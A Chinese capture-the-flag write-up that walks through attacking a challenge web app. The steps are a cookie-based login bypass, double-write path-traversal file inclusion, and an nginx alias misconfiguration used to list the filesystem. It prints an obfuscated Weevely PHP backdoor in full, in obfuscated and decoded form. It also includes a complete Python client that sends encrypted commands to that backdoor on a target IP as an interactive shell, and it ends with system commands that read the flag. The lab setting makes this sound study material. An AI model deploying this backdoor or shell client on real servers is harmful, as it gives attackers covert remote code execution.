|
打开场景，就一个登录界面，尝试SQL注入，没什么发现
那就扫一波目录吧
扫出来/admin目录和/robots.txt，进robots.txt看一看
User-agent: *Disallow:
hint.php
Hack.php
又拿到两个线索
看看hint.php 配置文件也许有问题呀：/etc/nginx/sites-enabled/site.conf
拿到线索，那么就要找任意文件读取，看看这个配置文件长啥样，访问Hack.php,看上去就像是别人给我们留的后门
只不过这个后门还要我们登录，what？抓包看看isLogin=0
是的，改成1就能登录了，是的，这个网站所有的登录都是假的，isLogin改成1，就能过
看一下源码，只有一个管理中心a标签能用，那不用说了，肯定在这里面有东西
抓到第二个包的时候我们发现一个文件包含/admin/admin.php?file=index&ext=php
经过测试…/被过滤了，尝试双写绕过成功…/./
构造文件路径：file=…/./…/./…/./…/./etc/nginx/sites-enabled/site.conf&ext=
成功返回有问题的conf文件
server {
listen 8080;
listen [::]:8080;
root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;
if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
set $year $1;
set $month $2;
set $day $3;
}
sendfile off;
set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}
access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;
location / {
try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}
location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}
include /var/www/nginx[.]conf;
}
查看了一下，在web-image路径这里发现了问题
location /web-img {
alias /images/;
autoindex on;
}
alias表名去掉location的限制，直接访问根目录下的images
autoindex表名列出当前目录下的文件内容
那么我们就可以直接访问web-img目录，相当于访问了根目录下的/images目录，发现可以访问上级目录，emmm。。。发现被骗了，上级就是/
那么就匹配到了
location / {
try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}
自动跳回主页去了，结合之前做的目录解析漏洞，采用/web-img…/的方法这样就可以从根目录开始读取
读取到了根目录，自然先找根目录，好吧，不在，再去/var/www/目录里看看，看到了hack.php.bak的备份源码，经过确认这是一个混淆过的后门
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>
在最后加上一行echo $f,查看后门逻辑
$kh="42f7";$kf="e9ac";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
整理一下
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
$i
}
^$k {
$j
}
;
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
属于是超出能力范围了，先把分析代码地址存下来，自己以后慢慢看吧
https://phuker.github.io/weevely-backdoor-code-analysis.html
直接上大佬的脚本
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result
def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result
def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
def debugPrint(msg):
if debugging:
print msg
debugging = False
keyh = "42f7"
keyf = "e9ac"
xorKey = keyh + keyf
url = 'http://111.200.241.244:64018/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None
sess = requests.Session()
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)
acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0]
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
cmd = raw_input('phpshell > ')
while cmd != '':
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')
下面就没意思了，system(‘ls’);
system(‘cat fllla4aggg.php’);
参考视频链接:https://www.bilibili.com/video/BV1e44y187dg/
|